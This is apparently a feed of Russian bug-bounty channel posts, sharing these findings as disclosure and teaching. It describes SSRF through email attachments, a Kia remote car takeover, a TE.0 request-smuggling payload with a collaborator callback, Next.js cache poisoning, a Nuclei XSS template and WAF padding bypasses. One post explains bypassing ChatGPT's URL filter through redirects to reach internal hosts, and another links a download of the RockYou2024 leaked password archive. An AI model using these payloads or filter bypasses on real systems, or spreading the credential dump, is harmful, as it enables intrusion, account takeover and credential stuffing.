✉ SSRF через вложения в электронной почте
Приложение позволяло администраторам отправлять массовые письма пользователям в организации. Оно также разрешало прикреплять файлы к письмам. Вложения кодировались в base64 и добавлялись в качестве параметра запроса (см. на скрин)
Не было особой причины думать, что изменение параметра email_attachments
на URL сработает, но я решил попробовать. И действительно, после изменения его на Burp Collaborator я получил отстук:
GET / HTTP/1.1
accept-encoding: gzip,deflate
user-agent: nodemailer/4.7.0
Host: 716cq...ht5i.burpcollaborator.net
Connection: close
email_attachments
, введённую пользователем, и передаёт её как параметр пути в API вложений nodemailer.data:URI
, но если вместо этого передать URL, nodemailer попытается найти файл по этому URL и прикрепить его.http://10.10.1.3:3000/api/v1/apps/list%23test.txt
.send_email
с перечнем известных путей к файлам привела к интересным находкам: конфигурационные файлы, дампы пользователей и т.д.Баг, через который можно угнать все машины от Kia
У Kia есть приложение Connect, через которое можно узнать где находится твоя машина, посигналить, а еще открыть ее и завести. Но как оно понимает, что это твоя машина, а не чужая?
После того, как ты купил Kia, дилер дает тебе ссылку, которая линкует машину с твоей учеткой для входа в само приложение.
Ссылка с одноразовым токеном ведет на сайт дилера. На этом же сайте из JS-кода можно найти эндпоинты, через которые дилер генерит эти ссылки, а еще запросы на то, чтобы управлять машиной.
Кроме того, ты сам можешь зарегаться как дилер, — этот эндпоинт был скрыт, но его получилось найти из-за того, что сайт дилера это форк клиентского API. И читать данные о владельцах чужих машин, а еще управлять ими.
Мораль такая: если ты покупаешь такую машину, помни, что она не становится твоей на 100%. У дилера, вендора и хакеров всегда остаются возможности угнать ее удаленно.
🤠 Дикий Запад, 2024 год. Вечереет. В бар заходят двое хакеров и специалист SOC в Standoff. Бармен бросает на них взгляд и говорит:
«Заходите, чужаки. Откуда сами будете? Слышали новость нашего городка?
Два топа комьюнити — BooL и mimicate — исключительно в образовательных целях (для того чтобы поделиться с вами подходами к исследованию безопасности) порешали в формате спродюсированного батла пару заданий на онлайн-полигоне Standoff. Наблюдал за ними Рэм, главный ковбой, а точнее руководитель группы продуктов безопасности Standoff: следил за их действиями через средстваа защиты информации и комментировал».
Бармен наливает три пинты пива 🍺🍺🍺. Вытирая пену со стаканов, он продолжает:
«Что вышло? Смотрите в четырех опубликованных стрим-записях. Все ролики идут в одном тайминге. Хочешь — смотри общий, хочешь — переключайся между экранами профессионалов и изучай их техники и тулзы».
Общая трансляция (Вид от лица Бармена)
BooL
mimicate
Рэм (Главный ковбой)
✨ Хочешь получить доступ к приватным программам на платформе Standoff Bug Bounty?
Конечно хочешь. Вот короткая инструкция, что делать:
1️⃣ Перейди по ссылке и заполни небольшой опрос.
2️⃣ Попади в список из 50 счастливчиков с самыми классными навыками и опытом. Если пройдешь отбор, мы сразу же тебе напишем.
3️⃣ Ищи баги в свеженьком закрытом скоупе.
❗️ Важное условие: у тебя не должно быть ни одной приватной программы.
Еще читаешь? Бросай это дело — анкета сама себя не заполнит.
Знакомимся с DOOM DOM Invader, или как найти DOM-XSS на Habr во время написания статьи 😔
Сегодня поговорим про инструмент DOM Invader, узнаем некоторые причины появления DOM-уязвимостей и проанализируем несколько примеров уязвимого JavaScript-кода 🖼️
Также вы узнаете, какой потенциальный импакт можно показывать команде BugBounty для получения выплаты за Client-Side уязвимость 👀
Подробнее
😆 Как мы с вами выросли за год
На пресс-конференции в рамках OFFZONE 2024 поделились итогами работы BI.ZONE Bug Bounty вместе со Сбером, «Группой Астра» и багхантером Артёмом Бельченко.
Из интересного:
🔵Сегодня на платформе размещаются 34 компании и 78 программ по поиску уязвимостей.
🔵Выплаты увеличились почти в 3 раза: их общая сумма составила 45 миллионов рублей, а за уязвимости уровней high и critical заплатили 28 миллионов рублей.
🔵Более чем в 1,5 раза возросло количество отчетов от багхантеров. При этом каждая шестая обнаруженная уязвимость относилась к уровням high и critical.
🔵За последний год на платформе более чем в 3 раза увеличилось количество компаний из финансовой отрасли и в 6 раз выросло число программ от госсектора.
🔵Мы запустили первую в стране программу по поиску уязвимостей в инфраструктуре субъекта РФ — Ленинградской области.
Впереди нас ждет еще больше программ, выплат и крутых ивентов для сообщества!
Если еще не багхантите с нами, присоединяйтесь ;)
®️ До встречи на OFFZONE
Я живу достаточно далеко от МСК и не часто выбираюсь из своей уютной берлоги, но в этом году, как и в прошлом, поеду на OFFZONE. В том году мероприятие запомнилось мне, в первую очередь, встречей с множеством крутых специалистов, среди которых были и мои подписчики. В этом году буду также рад с вами увидеться!
Кроме того, знаю про несколько крутых докладов, которые будут в этом году на ивенте. Организаторы недавно выложили программу мероприятия, поэтому можно перейти по линку и отобрать интересные для себя выступления в избранное.
Ну и конечно же не стоит напоминать про другие активности вроде воркшопов, стендов, викторин, кальянов, пива, гор мерча и многого другого. Так что подходите, увидимся там!
Эксплуатация состояния гонки в «тапалках» в Telegram
https://kaimi.io/2024/08/exploit-race-condition-in-telegram-mini-apps/
📖 AlphaBay: Как ошибка в Opsec привела к поимке «короля» даркнета
Alphabay — огромный даркнет-маркетплейс, стал символом эпохи «темного» интернета. Его создание - результат стремления к анонимности, которое в итоге привело к катастрофическим последствиям.
Alphabay предлагал убежище для преступников, где они могли продавать наркотики, оружие и украденные данные. Но за анонимностью скрывался Александр Казес - тот самый Alpha02, администратор сайта, только он не учёл важность Opsec - что его и погубило.
⏳ Обход аутентификации с помощью Race Condition, приводящий к полному захвату учетной записи
Помните исследование Джеймса Кеттла про Race Condition? В данной статье будет пример реализации данного исследования на практике во время багхантинга и, как итог, захват любого аккаунта на сайте.
Ссылка на статью
#web #race #ato
TE.0 HTTP Request Smuggling
Новая техника эксплуатации HTTP
Request Smuggling
представлена в блоге Bugcrowd
Суть TE.0
такая же как у CL.0
только в данном случае фронт принимает, а бэкэнд игнорирует заголовок Transfer-Encoding
. Кто бы мог подумать, что в мире найдутся сервера обрабатывающие запрос, который начинается с number + newline😎OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
Такие нашлись у GCP
load balancer'ов, эксплуатация TE.0
позволила обойти Google IAP
(Identity-Aware Proxy) и получить доступ к ресурсам за этой проксей с байпасом механизмов аутентификации и авторизации, за репорт баги Google
выплатили исследователям $8.5k
Особенности эксплуатации TE.0
:
✅ Значение chunk length
должно быть в hex number
в соответствии с HTTP/1.1 RFC
✅ 2 EMPTY_LINE_HERE в конце последнего чанка запроса
✅ Использование различных методов при отправке пейлоада (в кейсе с GCP
успешно отработал OPTIONS
)
😆 Прокачали BI.ZONE Bug Bounty для успешного багхантинга
Мы завершили первый этап редизайна платформы и телеграм-канала!
Что нового:
🔵Изменили стилевое и цветовое оформление. Визуальная часть стала более атмосферной и тематической.
🔵Внедрили систему тегов. Теперь легко отфильтровать программы по нужным критериям. Например, кто отвечает за триаж — компания или наши эксперты, можно ли перевести выплату на благотворительность.
🔵Добавили метрику для программы. Появилась возможность посмотреть среднее время обработки отчета в рамках каждой программы. Учитывается период с момента отправки репорта до получения информации о его финальном статусе.
Кстати, платформа переехала и теперь располагается тут — https://bugbounty.bi.zone.
Этот релиз — первый из запланированных. Поэтому расскажите нам о своих пожеланиях и поделитесь идеями, чтобы мы смогли их учесть в следующих обновлениях.
А пока можете изучить платформу ;)
💀 Про Next.js и отравление кэша
1️⃣ При извлечении данных для страниц SSR (рендеринга на стороне сервера) добавление заголовка x-middleware-prefetch
приводит к получению пустого объекта JSON {}
в качестве ответа. При наличии CDN или системы кэширования этот пустой ответ потенциально может быть кэширован, в зависимости от конфигурации правил кэширования, что делает целевую страницу непрактичной, а ее содержимое недоступным и получается некая разновидность DOS'а через отравление кэша.
2️⃣ Использование React Component Server (RSC) и отправка заголовка Rsc: 1
, может привести к отравлению кэша и вернет RSC React вместо исходного содержимого. Успешность также зависит от CDN и его правил кэширования.
3️⃣ При определенных условиях можно перезаписать код состояния через значение заголовка x-invoke-status
, непосредственно указанного в запросе и вызвать/вернуть страницу ошибки. Как правило, CDN и системы кэширования настроены так, чтобы не кэшировать коды ошибок HTTP. Однако можно указать код 200
для согласования с правилами кэширования и эффективно “принудительно” кэшировать страницу с ошибкой.
Более подробно про каждый из способов, а также некоторые советы как нафармить денег при общении с триажерами доступны в оригинальном ресерче по ссылке.
#web #cache #dos
🔃 Редирект в ChatGPT
Очередному исследователю не заплатили и он поделился рассказом о том, что ChatGPT не может получать доступ к определенным веб-сайтам, однако фильтрация некорректно обрабатывает HTTP-перенаправления. Вы можете использовать любой сокращатель ссылок и обойти их проверки.
Более того, это также работает для ссылок типа https://localhost:<порт для сканирования>/
и внутренних доменов OpenAI.
Однако, по мнению компании, это не угроза безопасности.
#web #ssrf
Кстати, на днях согласовал с вендором публикацию рассказа об одном из отчетов, чтобы закинуть заявку на Pentest Award. В итоге статья увидела свет и была отправлена, хоть и в довольно урезанном виде. Если тоже хотите поучаствовать, чтобы выиграть призы или просто поделиться с комьюнити своими интересными находками, то у вас еще есть время до 23.06.
Читать полностью…Сегодня доклад для любителей SSRF и Bug Bounty
Егор Зонов показал примеры уязвимостей Server-Side Request Forgery, которые были сданы в багбаунти Яндекса, вместе со статистикой выплат за них в 2023 году. Рассказал про обнаружение SSRF и про распространённые способы от него защититься, а на 21-й минуте заспойлерил сервис SSRF Sheriff во внутрянке Яндекса — инструмент для багхантеров на «Охоте», который позволяет проверить, а был ли SSRF.
📺 → видос
🗂 → преза
💬 → фидбэк
⌨️ AD CS Web Enrollment. Relay меня полностью
Отличная статья от @VeeZy_VeeZy про AD CS Web Enrollment и его применение на примере проекта по инфраструктурному пентесту.
Подробное объяснение, команды и обилие скринов прилагается.
Ссылка на Хабр
#pentest #ad
💬 Обновленный поиск XSS с Nuclei
В новом обновлении Nuclei v3.3.2 добавили фичу, позволяющую обнаруживать XSS в headless
моде с помощью действия waitdialog
. Говоря по простому, теперь можно составить шаблон, который будет понимать, когда выскакивает alert()
, что позволит искать в том числе и DOM XSS.
Я решил протестить все это на лабе портсвигера. По итогу, получился вот такой шаблон:
id: xss-detection
info:
name: Test Template for DOM XSS
author: shdwpwn
severity: medium
description: Test Template for DOM XSS
reference: https://blog.projectdiscovery.io/simplifying-xss-detection-with-nuclei/
tags: xss
headless:
- steps:
- args:
url: "{{BaseURL}}/?search=<img/src/onerror=alert()>"
action: navigate
- action: waitdialog
name: popup
matchers:
- type: dsl
dsl:
- popup == true
condition: and
nuclei -headless -t dom-xss-test.yaml -u https://blablabla.web-security-academy.net
Опубликовали видеоролик о том, как прошла ежегодная независимая премия Pentest award 2024!
Радостные лица, толпа заряженных специалистов, и, конечно, счастливые победители с наградами в руках — настоящий праздник этичного хакинга.
Здорово было встретится в офлайне со старыми друзьями и коллегами, познакомиться с новыми людьми, обменяться знаниями и идеями, поговорить о важном, профессиональном, наболевшем.
До встречи в 2025 году 👋
Отдельная благодарность партнерам проекта: BI.ZONE Bug Bounty, VK Bug Bounty, OFFZONE и CyberED.
📺 Полное видео
🔗 Pentest award (архив)
❤ @justsecurity
🖊️Семантические уязвимости в серверах Apache
В связи с недавно прошедшими мероприятиями и моим отпуском не было времени упомянуть некоторые крутые недавно опубликованные доклады. И к одному из таких относится ресерч старины Orange Tsai, в ходе которого было найдено сразу несколько CVE и различных мисконфигов в серверах Apache.
Странно, что никто об этом еще не написал, так как материал очень интересный и я всем рекомендую ознакомиться с оригиналом по ссылке. Я также набросал несколько шаблонов для Nuclei на основе этого доклада, которые вы можете доработать или использовать как есть на своих целях (закину их в комменты под постом).
#web #apache #cve
®️ OFFZONE 2024 - всё
Вот и закончился OFFZONE 2024 и хочется сказать спасибо организаторам и всем причастным за столь крутое мероприятие! @offzone_moscow вы молодцы)
За эти два дня пообщался с многими классными специалистами и просто с интересными людьми, поучаствовал в различных активностях и послушал несколько докладов. Отдельное спасибо @bizone_bb за приглашение на их ивенты, а всем вендорам за разнообразный скоуп! За афтепати отдельный респект, было весело!
В общем, рад был всех видеть и до новых встреч!
Пара кейсов с БагБаунти ☄️
Решил поделиться парой найденных багов, которые были подтверждены около года назад и уже исправлены.
В будущем планирую также выкладывать подобные посты, так как практические кейсы всегда позволяют подчерпнуть для себя чего-то нового.
Приятного прочтения ! 🔥
🎉 Результаты розыгрыша:
Победители:
1. Mikhail (@tru3f4ls3)
2. Игорь
Проверить результаты
🎉 Розыгрыш билетов на OFFZONE
Да свершится великий рандом! Я разыграю ДВА БИЛЕТА на одну из самых ожидаемых конференций года - OFFZONE.
Как принять участие:
- Быть подписанным на канал
- Нажать кнопку "Участвую!" под этим постом
Бот случайным образом выберет двух счастливчиков среди тех, кто выполнит все условия!
Сроки:
Розыгрыш продлится до 29.07.2024, а победители будут объявлены на следующий день.
Не упустите свой шанс стать частью OFFZONE! Удачи всем участникам!
#offzone
🪟XSS на веб-сайтах с отсутствующей информацией о кодировке
Злоумышленник может использовать кодировку символов ISO-2022-JP для внедрения произвольного кода JavaScript на веб-сайтах, где отсутствует информация о кодировке HTML страницы.
Подробнее о том, как это работает и почему может приводить к XSS читайте в блоге по ссылке.
#web #xss
RockYou2024
Архив весит 45 гб
Распакованный 156 гб
Загрузил на свой S3. Скорость не лучшая, но точно не отвалиться загрузка
https://s3.timeweb.cloud/fd51ce25-6f95e3f8-263a-4b13-92af-12bc265adb44/rockyou2024.zip
Яндекс Диск. Тут скорость заметно быстрее
https://disk.yandex.ru/d/1spMBmxcEnN95g
🌚 @poxek
На Pentest Award продлили прием заявок аж до 14 июля. Меньше всего конкуренции в номинации «Ловись рыбка: за самый оригинальный фишинг или попытку засоциалить сотрудников», поэтому, если у вас имеются интересные кейсы, есть высокий шанс оказаться среди номинантов.
Читать полностью…®️ Запускаем call for papers!
Пятый OFFZONE пройдет 22–23 августа в Москве, в Культурном центре ЗИЛ.
В этом году у нас еще больше зон для выступлений: добавились AI.Zone и Threat.Zone.
Ждем доклады на самые разные темы: open-source, применение AI/ML в кибербезопасности, уязвимости в парсерах, пентест Wi-Fi и не только. Не бойтесь предложить что-то свое :)
Спикеры, которые пройдут отбор, получат: бесплатные проходки на конфу и Speaker party, наш мерч, а также другие плюшки в зависимости от зоны.
Присылайте заявки на доклады до 12 июля.
Узнать больше и подать заявку
⌨️ Обход WAF через большое количество символов
Ранее я уже рассказывал о том, что для HTTP-запросов, содержащих тело запроса (например, POST, PUT, PATCH и т.д.), часто можно обойти WAF, просто добавив мусорные данные в начало запроса. Когда запрос дополняется этими ненужными данными, WAF обработает до X КБ запроса и проанализирует его, но все, что превышает пределы WAF, пройдет мимо.
На недавнем NahamCon вышел целый доклад на эту тему с подробным разбором и необходимыми значениями X КБ для обхода различных популярных WAF. Видео доклада, описание и расширение для вставки мусорных данных в Burp представлено по ссылкам ниже.
Ссылка на видео
Ссылка на GitHub
#web #waf #bypass